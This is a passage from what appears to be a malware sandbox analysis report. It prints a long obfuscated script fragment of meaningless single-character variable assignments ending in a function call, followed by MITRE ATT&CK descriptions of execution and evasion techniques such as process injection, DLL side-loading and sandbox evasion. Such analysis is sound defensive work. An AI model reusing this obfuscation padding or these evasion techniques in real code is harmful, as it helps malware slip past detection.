469	yvyvqcpo = "R";
470	yvyvqcpo = "X";
471	yvyvqcpo = "d";
472	yvyvqcpo = "E";
473	yvyvqcpo = "L";
474	yvyvqcpo = "q";
475	yvyvqcpo = "X";
476	yvyvqcpo = "v";
477	yvyvqcpo = "O";
478	yvyvqcpo = "D";
479	yvyvqcpo = "m";
480	yvyvqcpo = "L";
481	yvyvqcpo = "F";
482	yvyvqcpo = "k";
483	yvyvqcpo = "p";
484	yvyvqcpo = "r";
485	yvyvqcpo = "L";
486	yvyvqcpo = "B";
487	yvyvqcpo = "c";
488	yvyvqcpo = "N";
489	yvyvqcpo = "A";
490	yvyvqcpo = "R";
491	gvnimfxqi = "I";
492	gvnimfxqi = "r";
493	gvnimfxqi = "p";
494	gvnimfxqi = "h";
495	gvnimfxqi = "a";
496	gvnimfxqi = "O";
497	gvnimfxqi = "L";
498	gvnimfxqi = "k";
499	gvnimfxqi = "q";
500	gvnimfxqi = "U";
501	gvnimfxqi = "b";
502	gvnimfxqi = "U";
503	gvnimfxqi = "U";
504	gvnimfxqi = "Q";
505	gvnimfxqi = "Q";
506	gvnimfxqi = "V";
507	gvnimfxqi = "r";
508	gvnimfxqi = "a";
509	gvnimfxqi = "W";
510	gvnimfxqi = "T";
511	gvnimfxqi = "d";
512	gvnimfxqi = "t";
513	gvnimfxqi = "m";
514	gvnimfxqi = "w";
515	gvnimfxqi = "L";
516	gvnimfxqi = "Q";
517	gvnimfxqi = "R";
518	gvnimfxqi = "Z";
519	gvnimfxqi = "P";
520	gvnimfxqi = "w";
521	gvnimfxqi = "Q";
522	gvnimfxqi = "x";
523	gvnimfxqi = "Q";
524	gvnimfxqi = "C";
525	gvnimfxqi = "c";
526	gvnimfxqi = "L";
527	gvnimfxqi = "I";
528	gvnimfxqi = "B";
529	gvnimfxqi = "O";
530	gvnimfxqi = "y";
531	gvnimfxqi = "p";
532	gvnimfxqi = "V";
533	gvnimfxqi = "z";
534	gvnimfxqi = "j";
535	fytql = "V";
536	fytql = "p";
537	fytql = "r";
538	fytql = "V";
539	fytql = "E";
540	fytql = "B";
541	fytql = "w";
542	fytql = "m";
543	fytql = "l";
544	fytql = "n";
545	fytql = "U";
546	fytql = "S";
547	fytql = "b";
548	fytql = "M";
549	fytql = "y";
550	fytql = "f";
551	fytql = "d";
552	fytql = "z";
553	fytql = "J";
554	fytql = "J";
555	fytql = "l";
556	gbeox = "r";
557	gbeox = "y";
558	gbeox = "a";
559	dawzwcr = "z";
560	dawzwcr = "m";
561	dawzwcr = "z";
562	dawzwcr = "U";
563	dawzwcr = "D";
564	dawzwcr = "z";
565	dawzwcr = "Q";
566	dawzwcr = "f";
567	vxsfr = "n";
568	vxsfr = "x";
569	vxsfr = "J";
570	vxsfr = "Q";
571	zukvqd = "X";
572	zukvqd = "h";
573	zukvqd = "b";
574	zukvqd = "n";
575	zukvqd = "o";
576	zukvqd = "L";
577	zukvqd = "c";
578	zukvqd = "f";
579	zukvqd = "F";
580	zukvqd = "o";
581	zukvqd = "n";
582	zukvqd = "P";
583	zukvqd = "b";
584	zukvqd = "d";
585	zukvqd = "M";
586	zukvqd = "O";
587	zukvqd = "b";
588	zukvqd = "h";
589	zukvqd = "z";
590	zukvqd = "R";
591	zukvqd = "Z";
592	zukvqd = "l";
593	zukvqd = "e";
594	zukvqd = "Z";
595	zukvqd = "r";
596	zukvqd = "h";
597	zukvqd = "w";
598	zukvqd = "f";
599	zukvqd = "E";
600	zukvqd = "z";
601	zukvqd = "b";
602	zukvqd = "W";
603	zukvqd = "Q";
604	zukvqd = "k";
605	zukvqd = "E";
606	zukvqd = "F";
607	zukvqd = "z";
608	zukvqd = "Z";
609	zukvqd = "r";
610	zukvqd = "D";
611	zukvqd = "i";
612	zukvqd = "\\";
613	twzeagx = "O";
614	twzeagx = "F";
615	twzeagx = "Q";
616	twzeagx = "o";
617	twzeagx = "U";
618	twzeagx = "c";
619	twzeagx = "a";
620	twzeagx = "R";
621	twzeagx = "X";
622	twzeagx = "z";
623	twzeagx = "i";
624	twzeagx = "B";
625	twzeagx = "Q";
626	twzeagx = "e";
627	twzeagx = "R";
628	twzeagx = "G";
629	twzeagx = "j";
630	twzeagx = "Y";
631	twzeagx = "Y";
632	twzeagx = "I";
633	twzeagx = "M";
634	twzeagx = "t";
635	twzeagx = "Z";
636	twzeagx = "P";
637	twzeagx = "y";
638	twzeagx = "u";
639	twzeagx = "c";
640	twzeagx = "g";
641	twzeagx = "r";
642	twzeagx = "S";
643	twzeagx = "M";
644	twzeagx = "h";
645	twzeagx = "X";
646	twzeagx = "p";
647	twzeagx = "m";
648	twzeagx = "I";
649	pumfrrl = "Z";
650	pumfrrl = "P";
651	pumfrrl = "F";
652	pumfrrl = "X";
653	pumfrrl = "G";
654	pumfrrl = "i";
655	pumfrrl = "X";
656	pumfrrl = "Y";
657	pumfrrl = "k";
658	xfqusnomm = "W";
659	xfqusnomm = "j";
660	xfqusnomm = "u";
661	xfqusnomm = "F";
662	xfqusnomm = "c";
663	xfqusnomm = "G";
664	xfqusnomm = "K";
665	xfqusnomm = "c";
666	xfqusnomm = "o";
667	vcbsfep = "n";
668	vcbsfep = "a";
669	vcbsfep = "W";
670	vcbsfep = "E";
671	vcbsfep = "x";
672	vcbsfep = "h";
673	vcbsfep = "s";
674	vcbsfep = "q";
675	vcbsfep = "z";
676	vcbsfep = "r";
677	vcbsfep = "t";
678	vcbsfep = "A";
679	vcbsfep = "p";
680	vcbsfep = "r";
681	vcbsfep = "j";
682	vcbsfep = "Z";
683	vcbsfep = "j";
684	vcbsfep = "J";
685	vcbsfep = "p";
686	vcbsfep = "s";
687	vcbsfep = "Q";
688	vcbsfep = "w";
689	vcbsfep = "q";
690	vcbsfep = "Y";
691	vcbsfep = "S";
692	vcbsfep = "k";
693	vcbsfep = "P";
694	vcbsfep = "L";
695	vcbsfep = "C";
696	vcbsfep = "6";
697	gmsfsa = "P";
698	gmsfsa = "l";
699	gmsfsa = "s";
700	gmsfsa = "R";
701	gmsfsa = "V";
702	gmsfsa = "P";
703	gmsfsa = "P";
704	gmsfsa = "j";
705	gmsfsa = "v";
706	gmsfsa = "C";
707	gmsfsa = "u";
708	vxogmh = "q";
709	vxogmh = "D";
710	vxogmh = "R";
711	vxogmh = "X";
712	vxogmh = "E";
713	vxogmh = "q";
714	vxogmh = "c";
715	vxogmh = "x";
716	vxogmh = "p";
717	vxogmh = "N";
718	vxogmh = "S";
719	vxogmh = "X";
720	vxogmh = "C";
721	vxogmh = "t";
722	vxogmh = "R";
723	vxogmh = "K";
724	vxogmh = "w";
725	vxogmh = "s";
726	vxogmh = "c";
727	vxogmh = "l";
728	vxogmh = "Z";
729	vxogmh = "L";
730	vxogmh = "E";
731	vxogmh = "Y";
732	vxogmh = "o";
733	vxogmh = "y";
734	vxogmh = "j";
735	vxogmh = "N";
736	vxogmh = "y";
737	vxogmh = "F";
738	vxogmh = "y";
739	vxogmh = "A";
740	vxogmh = "R";
741	vxogmh = "u";
742	vxogmh = "O";
743	vxogmh = "c";
744	vxogmh = "E";
745	vxogmh = "C";
746	vxogmh = "p";
747	ukhqptvqs = "z";
748	ukhqptvqs = "r";
749	ukhqptvqs = "w";
750	ukhqptvqs = "W";
751	ukhqptvqs = "F";
752	ukhqptvqs = "k";
753	ukhqptvqs = "r";
754	ukhqptvqs = "C";
755	ukhqptvqs = "U";
756	ukhqptvqs = "Y";
757	ukhqptvqs = "T";
758	ukhqptvqs = "l";
759	ukhqptvqs = "A";
760	ukhqptvqs = "w";
761	ukhqptvqs = "n";
762	ukhqptvqs = "a";
763	ukhqptvqs = "w";
764	ukhqptvqs = "F";
765	ukhqptvqs = "q";
766	ukhqptvqs = "p";
767	ukhqptvqs = "Y";
768	ukhqptvqs = "b";
769	ukhqptvqs = "a";
770	ukhqptvqs = "L";
771	imgter = "d";
772	imgter = "j";
773	imgter = "o";
774	imgter = "T";
775	imgter = "G";
776	imgter = "J";
777	imgter = "m";
778	imgter = "E";
779	imgter = "T";
780	imgter = "O";
781	imgter = "T";
782	imgter = "N";
783	imgter = "R";
784	imgter = "M";
785	imgter = "H";
786	imgter = "v";
787	imgter = "A";
788	imgter = "l";
789	imgter = "J";
790	imgter = "O";
791	imgter = "H";
792	imgter = "r";
793	kixuc = "i";
794	kixuc = "M";
795	kixuc = "u";
796	kixuc = "k";
797	kixuc = "G";
798	kixuc = "n";
799	kixuc = "Q";
800	kixuc = "k";
801	kixuc = "G";
802	kixuc = "k";
803	kixuc = "x";
804	kixuc = "x";
805	kixuc = "K";
806	kixuc = "K";
807	kixuc = "n";
808	kixuc = "Q";
809	kixuc = "u";
810	kixuc = "z";
811	kixuc = "P";
812	kixuc = "M";
813	kixuc = "X";
814	kixuc = "v";
815	kixuc = "e";
816	kixuc = "K";
817	kixuc = "f";
818	kixuc = "o";
819	kixuc = "N";
820	kixuc = "r";
821	kixuc = "u";
822	kixuc = "R";
823	kixuc = "O";
824	kixuc = "R";
825	kixuc = "_";
826	chwavnz = "Z";
827	chwavnz = "j";
828	chwavnz = "n";
829	chwavnz = "b";
830	chwavnz = "M";
831	chwavnz = "b";
832	chwavnz = "p";
833	chwavnz = "S";
834	chwavnz = "W";
835	chwavnz = "u";
836	chwavnz = "N";
837	chwavnz = "C";
838	chwavnz = "x";
839	chwavnz = "Z";
840	chwavnz = "q";
841	chwavnz = "Q";
842	chwavnz = "c";
843	chwavnz = "d";
844	chwavnz = "j";
845	chwavnz = "s";
846	chwavnz = "q";
847	chwavnz = "n";
848	chwavnz = "M";
849	chwavnz = "A";
850	chwavnz = "E";
851	chwavnz = "N";
852	chwavnz = "n";
853	chwavnz = "q";
854	chwavnz = "O";
855	chwavnz = "U";
856	gmofo = "q";
857	gmofo = "g";
858	gmofo = "s";
859	gmofo = "x";
860	gmofo = "b";
861	akpswecl = "U";
862	akpswecl = "V";
863	akpswecl = "J";
864	akpswecl = "f";
865	akpswecl = "N";
866	akpswecl = "g";
867	akpswecl = "W";
868	akpswecl = "z";
869	akpswecl = "v";
870	akpswecl = "a";
871	akpswecl = "P";
872	akpswecl = "x";
873	akpswecl = "c";
874	akpswecl = "X";
875	akpswecl = "c";
876	akpswecl = "i";
877	akpswecl = "M";
878	akpswecl = "Y";
879	akpswecl = "D";
880	akpswecl = "o";
881	akpswecl = "H";
882	akpswecl = "w";
883	akpswecl = "b";
884	akpswecl = "X";
885	akpswecl = "e";
886	akpswecl = "l";
887	akpswecl = "B";
888	akpswecl = "s";
889	akpswecl = "r";
890	akpswecl = "m";
891	akpswecl = "P";
892	akpswecl = "T";
893	akpswecl = "K";
894	redmbrjf = "O";
895	redmbrjf = "Y";
896	redmbrjf = "M";
897	redmbrjf = "n";
898	redmbrjf = "s";
899	redmbrjf = "o";
900	redmbrjf = "M";
901	redmbrjf = "R";
902	redmbrjf = "Z";
903	redmbrjf = "i";
904	redmbrjf = "c";
905	redmbrjf = "E";
906	redmbrjf = "W";
907	redmbrjf = "e";
908	redmbrjf = "C";
909	redmbrjf = "l";
910	redmbrjf = "D";
911	redmbrjf = "a";
912	redmbrjf = "h";
913	redmbrjf = "I";
914	redmbrjf = "T";
915	redmbrjf = "Z";
916	redmbrjf = "Y";
917	redmbrjf = "a";
918	redmbrjf = "O";
919	redmbrjf = "T";
920	redmbrjf = "Q";
921	redmbrjf = "u";
922	redmbrjf = "F";
923	redmbrjf = "s";
924	redmbrjf = "T";
925	redmbrjf = "Q";
926	redmbrjf = "f";
927	redmbrjf = "K";
928	redmbrjf = "p";
929	redmbrjf = "S";
930	redmbrjf = "A";
931	redmbrjf = "G";
932	redmbrjf = "r";
933	redmbrjf = "L";
934	redmbrjf = "n";
935	redmbrjf = "h";
936	redmbrjf = "l";
937	redmbrjf = " ";
938	qjosw = "M";
939	qjosw = "E";
940	qjosw = "Q";
941	qjosw = "p";
942	qjosw = "I";
943	qjosw = "q";
944	qjosw = "%";
945	iibcyvnce = "v";
946	iibcyvnce = "s";
947	iibcyvnce = "h";
948	iibcyvnce = "Q";
949	iibcyvnce = "L";
950	iibcyvnce = "d";
951	iibcyvnce = "e";
952	iibcyvnce = "X";
953	iibcyvnce = "G";
954	iibcyvnce = "Q";
955	iibcyvnce = "r";
956	iibcyvnce = "p";
957	iibcyvnce = "D";
958	iibcyvnce = "v";
959	iibcyvnce = "d";
960	iibcyvnce = "K";
961	iibcyvnce = "n";
962	iibcyvnce = "t";
963	iibcyvnce = "u";
964	iibcyvnce = "L";
965	iibcyvnce = "v";
966	iibcyvnce = "j";
967	iibcyvnce = "s";
968	iibcyvnce = "Y";
969	iibcyvnce = "t";
970	iibcyvnce = "D";
971	iibcyvnce = "k";
972	iibcyvnce = "z";
973	iibcyvnce = "t";
974	iibcyvnce = "n";
975	iibcyvnce = "L";
976	iibcyvnce = "l";
977	iibcyvnce = "P";
978	iibcyvnce = "n";
979	iibcyvnce = "Q";
980	iibcyvnce = "L";
981	iibcyvnce = "Y";
982	iibcyvnce = "n";
983	iibcyvnce = "j";
984	iibcyvnce = "T";
985	iibcyvnce = "d";
986	iibcyvnce = "N";
987	iibcyvnce = "r";
988	iibcyvnce = "v";
989	iibcyvnce = "4";
990	ordboypm = "W";
991	ordboypm = "I";
992	ordboypm = "s";
993	ordboypm = "c";
994	ordboypm = "E";
995	ordboypm = "b";
996	ordboypm = "o";
997	ordboypm = "w";
998	ordboypm = "r";
999	ordboypm = "q";
1000	ordboypm = "r";
1001	ordboypm = "L";
1002	ordboypm = "v";
1003	ordboypm = "J";
1004	ordboypm = "M";
1005	ordboypm = "H";
1006	ordboypm = "E";
1007	ordboypm = "q";
1008	ordboypm = "Z";
1009	ordboypm = "g";
1010	ordboypm = "u";
1011	ordboypm = "Q";
1012	ordboypm = "c";
1013	ordboypm = "F";
1014	ordboypm = "h";
1015	ordboypm = "L";
1016	ordboypm = "L";
1017	ordboypm = "m";
1018	ordboypm = "c";
1019	ordboypm = "A";
1020	ordboypm = "V";
1021	ordboypm = "D";
1022	ordboypm = "E";
1023	ordboypm = "H";
1024	ordboypm = "7";
1025	bgwamiz = "s";
1026	bgwamiz = "z";
1027	bgwamiz = "E";
1028	bgwamiz = "L";
1029	bgwamiz = "r";
1030	bgwamiz = "C";
1031	bgwamiz = "V";
1032	bgwamiz = "E";
1033	bgwamiz = "h";
1034	bgwamiz = "S";
1035	bgwamiz = "J";
1036	bgwamiz = "h";
1037	bgwamiz = "r";
1038	bgwamiz = "Y";
1039	bgwamiz = "L";
1040	bgwamiz = "L";
1041	bgwamiz = "u";
1042	bgwamiz = "Q";
1043	bgwamiz = "A";
1044	bgwamiz = "T";
1045	bgwamiz = "x";
1046	bgwamiz = "e";
1047	bgwamiz = "Z";
1048	bgwamiz = "N";
1049	bgwamiz = "t";
1050	bgwamiz = "T";
1051	bgwamiz = "o";
1052	bgwamiz = "G";
1053	bgwamiz = "E";
1054	bgwamiz = "s";
1055	pxhjd = "Q";
1056	pxhjd = "m";
1057	pxhjd = "g";
1058	pxhjd = "v";
1059	pxhjd = "x";
1060	pxhjd = "d";
1061	pxhjd = "n";
1062	pxhjd = "I";
1063	pxhjd = "r";
1064	pxhjd = "N";
1065	pxhjd = "R";
1066	pxhjd = "b";
1067	pxhjd = "s";
1068	pxhjd = "p";
1069	pxhjd = "h";
1070	pxhjd = "x";
1071	pxhjd = "w";
1072	pxhjd = "R";
1073	pxhjd = "N";
1074	pxhjd = "t";
1075	pxhjd = "k";
1076	pxhjd = "y";
1077	pxhjd = "o";
1078	pxhjd = "q";
1079	pxhjd = "m";
1080	pxhjd = "L";
1081	pxhjd = "z";
1082	pxhjd = "s";
1083	pxhjd = "Y";
1084	pxhjd = "b";
1085	pxhjd = "F";
1086	pxhjd = "T";
1087	nzwsf = "P";
1088	nzwsf = "l";
1089	nzwsf = "d";
1090	nzwsf = "A";
1091	nzwsf = "F";
1092	nzwsf = "b";
1093	nzwsf = "e";
1094	nzwsf = "Z";
1095	nzwsf = "a";
1096	nzwsf = "Z";
1097	nzwsf = "V";
1098	nzwsf = "A";
1099	nzwsf = "y";
1100	nzwsf = "N";
1101	nzwsf = "b";
1102	nzwsf = "T";
1103	nzwsf = "B";
1104	nzwsf = "V";
1105	nzwsf = "D";
1106	nzwsf = "q";
1107	nzwsf = "k";
1108	nzwsf = "Q";
1109	nzwsf = "n";
1110	nzwsf = "h";
1111	nzwsf = "S";
1112	nzwsf = "a";
1113	nzwsf = "z";
1114	nzwsf = "G";
1115	nzwsf = "m";
1116	nzwsf = "T";
1117	nzwsf = "N";
1118	nzwsf = "x";
1119	nzwsf = "u";
1120	nzwsf = "y";
1121	nzwsf = "x";
1122	nzwsf = "E";
1123	nzwsf = "u";
1124	nzwsf = "3";
1125	mstahxhcw = "O";
1126	bjjvvev = "s";
1127	bjjvvev = "S";
1128	bjjvvev = "T";
1129	bjjvvev = "Z";
1130	bjjvvev = "z";
1131	bjjvvev = "Y";
1132	bjjvvev = "s";
1133	bjjvvev = "G";
1134	bjjvvev = "w";
1135	bjjvvev = "q";
1136	bjjvvev = "S";
1137	bjjvvev = "i";
1138	bjjvvev = "b";
1139	bjjvvev = "n";
1140	bjjvvev = "o";
1141	bjjvvev = "X";
1142	bjjvvev = "c";
1143	bjjvvev = "t";
1144	sqeaen = "i";
1145	sqeaen = "J";
1146	sqeaen = "a";
1147	sqeaen = "N";
1148	sqeaen = "t";
1149	sqeaen = "D";
1150	sqeaen = "q";
1151	sqeaen = "T";
1152	sqeaen = "W";
1153	sqeaen = "w";
1154	sqeaen = "G";
1155	sqeaen = "E";
1156	sqeaen = "h";
1157	sqeaen = "P";
1158	sqeaen = "u";
1159	sqeaen = "i";
1160	sqeaen = "f";
1161	sqeaen = "A";
1162	sqeaen = "1";
1163	cfiopkl = "B";
1164	cfiopkl = "D";
1165	cfiopkl = "e";
1166	cfiopkl = "t";
1167	cfiopkl = "a";
1168	cfiopkl = "G";
1169	cfiopkl = "C";
1170	tqspmynbr = "N";
1171	tqspmynbr = "q";
1172	tqspmynbr = "n";
1173	tqspmynbr = "G";
1174	tqspmynbr = "r";
1175	tqspmynbr = "r";
1176	tqspmynbr = "n";
1177	tqspmynbr = "X";
1178	tqspmynbr = "t";
1179	tqspmynbr = "d";
1180	tqspmynbr = "Q";
1181	tqspmynbr = "c";
1182	tqspmynbr = "G";
1183	tqspmynbr = "a";
1184	tqspmynbr = "G";
1185	tqspmynbr = "R";
1186	tqspmynbr = "\"";
1187	nskehwm = "v";
1188	nskehwm = "O";
1189	nskehwm = "y";
1190	nskehwm = "w";
1191	nskehwm = "r";
1192	nskehwm = "k";
1193	nskehwm = "G";
1194	nskehwm = "Y";
1195	nskehwm = "K";
1196	nskehwm = "L";
1197	nskehwm = "n";
1198	nskehwm = "c";
1199	nskehwm = "p";
1200	nskehwm = "X";
1201	nskehwm = "N";
1202	nskehwm = "L";
1203	nskehwm = "D";
1204	nskehwm = "Q";
1205	nskehwm = "P";
1206	nskehwm = "h";
1207	nskehwm = "D";
1208	nskehwm = "v";
1209	nskehwm = "O";
1210	nskehwm = "v";
1211	nskehwm = "G";
1212	nskehwm = "N";
1213	nskehwm = "n";
1214	nskehwm = "G";
1215	nskehwm = "F";
1216	nskehwm = "d";
1217	nskehwm = "f";
1218	nskehwm = "I";
1219	nskehwm = "x";
1220	nskehwm = "&";
1221	rbhrzhjwp = "c";
1222	rbhrzhjwp = "d";
1223	rbhrzhjwp = "l";
1224	rbhrzhjwp = "D";
1225	rbhrzhjwp = "i";
1226	rbhrzhjwp = "k";
1227	rbhrzhjwp = "x";
1228	rbhrzhjwp = "p";
1229	rbhrzhjwp = "c";
1230	scundh = "D";
1231	scundh = "l";
1232	scundh = "q";
1233	scundh = "s";
1234	scundh = "h";
1235	scundh = "e";
1236	scundh = "y";
1237	scundh = "g";
1238	hmsjjclj = "w";
1239	hmsjjclj = "I";
1240	hmsjjclj = "I";
1241	hmsjjclj = "j";
1242	hmsjjclj = "p";
1243	hmsjjclj = "R";
1244	hmsjjclj = "Z";
1245	hmsjjclj = "q";
1246	hmsjjclj = "Y";
1247	hmsjjclj = "H";
1248	hmsjjclj = "Z";
1249	hmsjjclj = "v";
1250	hmsjjclj = "A";
1251	hmsjjclj = "U";
1252	hmsjjclj = "H";
1253	hmsjjclj = "l";
1254	hmsjjclj = "I";
1255	hmsjjclj = "Q";
1256	hmsjjclj = "B";
1257	hmsjjclj = "B";
1258	hmsjjclj = "o";
1259	hmsjjclj = "H";
1260	hmsjjclj = "k";
1261	hmsjjclj = "Y";
1262	hmsjjclj = "H";
1263	hmsjjclj = "S";
1264	hmsjjclj = "h";
1265	hmsjjclj = "W";
1266	hmsjjclj = "z";
1267	hmsjjclj = "l";
1268	hmsjjclj = "M";
1269	hmsjjclj = "s";
1270	hmsjjclj = "z";
1271	hmsjjclj = "j";
1272	hmsjjclj = "v";
1273	hmsjjclj = "y";
1274	hmsjjclj = "W";
1275	hmsjjclj = "z";
1276	hmsjjclj = "p";
1277	hmsjjclj = "Q";
1278	hmsjjclj = "q";
1279	hmsjjclj = "Z";
1280	hmsjjclj = "e";
1281	ugxpc = "q";
1282	ugxpc = "i";
1283	ugxpc = "O";
1284	ugxpc = "V";
1285	ugxpc = "A";
1286	ugxpc = "I";
1287	ugxpc = "m";
1288	ugxpc = "D";
1289	ugxpc = "v";
1290	ugxpc = "g";
1291	ugxpc = "Q";
1292	ugxpc = "/";
1293	eyxgxhxtl = "k";
1294	eyxgxhxtl = "k";
1295	eyxgxhxtl = "U";
1296	eyxgxhxtl = "R";
1297	eyxgxhxtl = "n";
1298	eyxgxhxtl = "P";
1299	eyxgxhxtl = "R";
1300	eyxgxhxtl = "p";
1301	eyxgxhxtl = "e";
1302	eyxgxhxtl = "f";
1303	eyxgxhxtl = "l";
1304	eyxgxhxtl = "n";
1305	eyxgxhxtl = "e";
1306	eyxgxhxtl = "p";
1307	eyxgxhxtl = "i";
1308	eyxgxhxtl = "n";
1309	eyxgxhxtl = "r";
1310	eyxgxhxtl = "j";
1311	eyxgxhxtl = "j";
1312	eyxgxhxtl = "g";
1313	eyxgxhxtl = "a";
1314	eyxgxhxtl = "N";
1315	eyxgxhxtl = "L";
1316	eyxgxhxtl = "C";
1317	eyxgxhxtl = "t";
1318	eyxgxhxtl = "J";
1319	eyxgxhxtl = "l";
1320	eyxgxhxtl = "v";
1321	eyxgxhxtl = "i";
1322	eyxgxhxtl = "S";
1323	eyxgxhxtl = "J";
1324	eyxgxhxtl = "P";
1325	eyxgxhxtl = "q";
1326	eyxgxhxtl = "u";
1327	eyxgxhxtl = "R";
1328	eyxgxhxtl = "b";
1329	eyxgxhxtl = "U";
1330	eyxgxhxtl = "u";
1331	eyxgxhxtl = "E";
1332	eyxgxhxtl = "c";
1333	eyxgxhxtl = "K";
1334	eyxgxhxtl = "c";
1335	eyxgxhxtl = "N";
1336	eyxgxhxtl = "2";
1337	lnkusy = "M";
1338	lnkusy = "p";
1339	lnkusy = "p";
1340	lnkusy = "i";
1341	lnkusy = "f";
1342	lnkusy = "L";
1343	lnkusy = "d";
1344	lnkusy = "r";
1345	lnkusy = "w";
1346	lnkusy = "r";
1347	lnkusy = "K";
1348	lnkusy = "R";
1349	lnkusy = "h";
1350	lnkusy = "R";
1351	lnkusy = "A";
1352	lnkusy = "d";
1353	lnkusy = "D";
1354	lnkusy = "f";
1355	lnkusy = "N";
1356	lnkusy = "m";
1357	lnkusy = "m";
1358	lnkusy = "k";
1359	lnkusy = "M";
1360	lnkusy = "c";
1361	lnkusy = "c";
1362	lnkusy = "j";
1363	lnkusy = "V";
1364	lnkusy = "A";
1365	lnkusy = "l";
1366	lnkusy = "T";
1367	lnkusy = "c";
1368	lnkusy = "Y";
1369	pobopujjw = "y";
1370	pobopujjw = "n";
1371	pobopujjw = "Z";
1372	pobopujjw = "e";
1373	pobopujjw = "x";
1374	pobopujjw = "G";
1375	pobopujjw = "A";
1376	pobopujjw = "W";
1377	pobopujjw = "l";
1378	pobopujjw = "W";
1379	pobopujjw = "T";
1380	pobopujjw = "x";
1381	sikhbu ( );	sikhbu() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
